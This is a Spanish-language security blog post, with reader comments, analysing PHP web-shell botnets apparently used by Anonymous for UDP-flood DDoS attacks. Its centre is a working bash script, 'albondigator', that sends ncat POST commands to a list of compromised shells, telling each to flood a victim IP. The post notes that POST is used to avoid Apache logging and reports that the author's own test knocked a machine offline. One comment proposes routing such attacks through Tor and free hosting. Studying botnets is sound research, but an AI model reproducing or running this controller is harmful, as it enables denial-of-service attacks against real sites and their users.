17 agosto 2011

Diario de una botnet

Botnets, por aquí, botnets por allá, uno de los términos al que más se recurre últimamente en la televisión cuando entra por la puerta grande los ataques de Anonymous, pero ¿sabemos como funcionan? ¿conocemos sus efectos en sus objetivos? ¿como se distribuyen entre miembros de un grupo las shells?

Una botnet por definición, es un grupo de máquinas comprometidas o infectadas de alguna forma que en el momento que el atacante y a la vez poseedor de esas máquinas las requiera para realizar un ataque, con solo abrir su panel de administración podrá realizar alguna acción sobre ellas, y en nuestro caso dirigir un ataque hacia su objetivo.

Hay varios tipos de botnets, podemos encontrarlas en equipos de escritorio troyanizados, que siempre ha sido lo más común; otras en las cuales el usuario más que infectado es colaborador, y cede su ancho de banda a un ataque dirigido y distribuido, como en el caso de los ataques DDoS de Anonymous y el ya conocido LOIC; y por último las redes botnets de las que vamos ha hablar hoy, que son las más simples de infectar y recolectar, ya que simplemente hay que subir un PHP a un servidor web comprometido.

En este tipo de redes zombie la infección dura menos ya que si el administrador hace bien su trabajo, detectará rápidamente que su sistema hace cosas que no debería. Como hemos comentado en la introducción, para "tomar" como zombie una maquina hay que comprometerla y subir simplemente un archivo PHP que será accesible desde el exterior, este archivo mediante un método POST, recibe dos datos, una IP víctima y un tiempo de duración del ataque.

Antes de continuar lo correcto es agradecer a @jbyte la información que nos facilitó, gracias a la cual este post está aquí.

En este link de pastebin podemos ver una lista bastante larga de 119 URL's que tienen casi todos una característica en común, tienen un directorio llamado webdav y apuntan a una ruta php. Algunos links todavía "están vivos" y podemos ver algo como esto:


Como podemos ver, sin lugar a dudas un súper jaquer ha sido el creador, fondo negro, letras en color sangre con el nombre del autor para mayor regodeo de su ego y un par de Texbox para recoger información: Host y Time.

Si ponemos algo en las cajas y usamos un proxy web como ZAP podemos ver lo siguiente:

Esta es la petición GET que se le envía a la shell del host infectado

Como podemos ver, es un método GET con los datos que comentamos arriba, en este caso lo lanzamos a localhost solo por probar }:-)

En la red podemos encontrar varios ejemplos de este código en PHP, como por ejemplo este, en la red circulan muchos pero son todos prácticamente iguales.

Por otro lado, como hemos explicado más arriba a pesar de que estos PHP se puedan controlar desde el navegador, la lógica de una botnet es poder controlar todos los equipos infectados desde un mismo programa o panel web, en este otro pastebin podemos ver un ejemplo de un programa escrito en Visual Basic que controlaría los equipos infectados y de esta forma realizar un ataque conjunto contra el objetivo de turno.

Lo correcto, ya que estamos analizando todo, sería comprobar que hace exactamente ese código compilando y ejecutando, pero no me gusta, primero porque las URL se meten en el código fuente, esto me pone malo, además de que en Visual Basic lo más complicado que he hecho es un termómetro, por lo que decidí hacer un pequeño script en bash, (@capi_x gracias por las correcciones), que recibe una IP (víctima), un tiempo de ejecución y una lista de shells, con esto generamos nuestro método POST, siempre mejor que un GET ya que por defecto Apache no recoge logs de este método, y lo enviamos mediante un ncat en el puerto 80 a las URL's e IP's de nuestras maquinas infectadas.

Aquí tenéis el script:

#!/bin/bash

#albondigator 0.1

#$3 -> archivo shells
#$1 -> ip_victima
#$2 -> tiempo

if [ $# -ne 3 ]; then
    echo "Uso -> $0 IP_victima tiempo listaShell"
    exit 1
fi

echo "Comienza la lluvia de albondigas:"
echo "*********************************"
echo

while read line
do 
    ip_shell="${line%%/*}"
    route="/${line#*/}"
    
    #CONSTRUCTOR_POST
    HOST=$ip_shell
    PORT="80"
    WPAGE=$route
    OPT="act=engine&host=$1&time=$2"


    metodo="POST $WPAGE HTTP/1.1\r\nContent-type:application/x-www-form-urlencoded\r\nHost: $HOST\r\n";
    opts="${OPT}\r\n";
    LENGHT=$((${#metodo}+${#opts}+20))
    LENGHT=$(($LENGHT+${#LENGHT}))
    metodo="${metodo}Content-Lenght: ${LENGHT}\r\n\r\n";
    POST_FINAL="${metodo}${opts}"

    # CONNECT
    echo -e "$POST_FINAL" | ncat -i 1 -w 1 -d 1 --send-only $HOST $PORT >/dev/null 2>/dev/null

    echo -e "$ip_shell"

done < $3

Y ahora para entender mejor en que acaba todo esto, he hecho un ataque masivo de muy poco tiempo sobre una maquina bajo mi control en la cual puedo controlar las estadísticas de red para que nos hagamos una idea de lo que "pasa por dentro" y la cantidad de datos que se reciben en tan poco tiempo, siempre claro dependiendo de la cantidad de maquinas zombie que tengamos en nuestro control y del ancho de banda disponible. Recordemos que un ataque flood UDP consiste en generar grandes cantidades de paquetes UDP de gran tamaño y bombardear la maquina objetivo consumiendo su ancho de banda y su CPU. Según el ancho de banda de cada víctima la cantidad de datos enviados para sobrecargar el objetivo puede variar, pero podemos enviar desde una sola maquina mas de 500Mb en 10 segundos, esta es la "ventaja" de infectar maquinas que están expuestas en internet y es que contamos con el ancho de banda del proveedor de hosting que en la mayoría de los casos es bastante elevado, a diferencia de un ataque desde nuestra maquina local tipo LOIC en el que contamos con un pésimo ancho de banda.

¿Y funcionó nuestro DDoS? Aquí podemos ver los datos del ataque, primero la sobrecarga de la CPU y en la segunda captura el trafico de red:
Esta es la gráfica de la carga de la CPU
Aquí tenemos la gráfica de la carga de red

Como se puede observar la prueba de concepto ha sido un éxito y se realizo el DDoS correctamente llegando a dejar sin servicio la maquina objetivo, aumentando el tráfico de red de una forma abismal y manteniendo durante el ataque entre 1 y 2 Mbps y la CPU llegando al 100%.

Explicado todo esto, llegaríamos a la recta final del post mostrando este link de Operation Payback y un leak de su lista de shell (AnonOps shell list leaked). Si nos fijamos en las URL's de las shells de AnonOps (que día tras día crece más) podemos ver que se parecen bastante en el formato a las mostradas en el pastebin que mostramos al inicio del post con el famoso directorio webdav ¿será este el nuevo procedimiento de actuación de Anonymous? Pues vamos a cruzar las URL's y las IP's a ver si hay coincidencia.

Primero extraemos las IP's y las URL's de las dos listas:


Y posteriormente cruzamos los resultados a la espera de coincidencias:


Como podemos ver existen coincidencias!!!! Podríamos decir que estamos en el camino correcto y que efectivamente las shells iniciales de pastebin coinciden con las de Anonymous. Tenemos que tener en cuenta, como decíamos al principio del post, de que se trata de una lista que es muy dinámica y que puede variar mucho, también, muchas de las shell que se encontraban en el link de Opertation Payback están repetidas, pertenecen a dominios con la misma IP o ya son inexistentes.

Y ya llegamos al final del post, igual es conveniente que de un consejo final como hacia Popeye el Marino: Que por internet encontremos leaks de este tipo y podamos analizarlos es una suerte, por varias razones si nos gusta la seguridad. Pero desde luego una de ellas es analizar la forma de actuar y darse cuenta de que es una chapuza, un flood UDP en PHP no son muchas lineas, y si has conseguido comprometer un servidor lo más recomendable sería modificar un PHP licito de la web y añadir al final del mismo las lineas que hacen el ataque con sus parámetros correspondientes, nada de entornos gráficos con información, por otro lado, hacer un programita en Visual Basic en el cual la lista de shells se encuentra en el código fuente es bastante contraproducente, no solo desde el punto de vista de la programación, sino porque una lista de shells es una información muy dinámica y que es muy fácil de que en unas pocas horas varíen. ¿Nos se os queda la sensación de lo sencillo que es atacar cualquier web? A mi si.


--------------------------------

Contribución gracias a Dani Martinez

10 comments :

Pedro dijo...

hola compañero informático,

me da mucha alegría que estés del lado del bien. Yo combinaría este ataque con hosting gratuitos con captchas débiles y TOR.

:)

por supuesto que

kifo dijo...

Seguro que si hay php para hacer ddos lo hay para minar bitcoins jejeje.

Zion3R dijo...

Excelente artículo ;)

Rodrigo Moreno dijo...

Tienes alguna web que hable sobre esto :)

Legna dijo...

Buen post! Felicidades.

☠ dani martinez ☠ dijo...

muchas gracias a todos

Zerial dijo...

Yo no usaría tor para estos fines, no creo que sea correcto. Haces que la red tor sea más lenta y perjudicas a quienes usan tor para "protegerse" el día a día ... Aunque no lo creas, mucha gente usa tor simplemente para navegar, para no dejar huellas (hasta cierto punto).

https://www.torproject.org/docs/faq-abuse

Alex Sou dijo...

muy buen post, quise hacer una prueba local con el albondigator pero el script no funciona correctamente me  petan los parametros del ncat, tengo la ultima ver pero aun asi :

 Comienza la lluvia de albondigas:
*********************************

Unknown option: i
Unknown option: w
Unknown option: send-only
Usage:
  ncat [options] configfile.txt [configfile2.txt...]
    -r, --rules RULES_FILE
    -l, --limitrulesto RULES_REGEXP
    -c, --limitclassto CLASS_REGEXP
    -p, --onlypass
    -f, --onlyfail
    -d, --debug DEBUG_OPTIONS
    -V, --version

:(

☠ dani martinez ☠ dijo...

Hola Alex!

Comprueba esto:
ncat -vNcat: Version 5.51 ( http://nmap.org/ncat )

y mira a ver si como yo al hacer un man ncat te sale algo como esto: http://pastebin.com/P4X4utkS

Un saludo

☠ dani martinez ☠ dijo...

asrgurate de que tienes el ultimo ncat y que no estes tirando del netcat, un saludo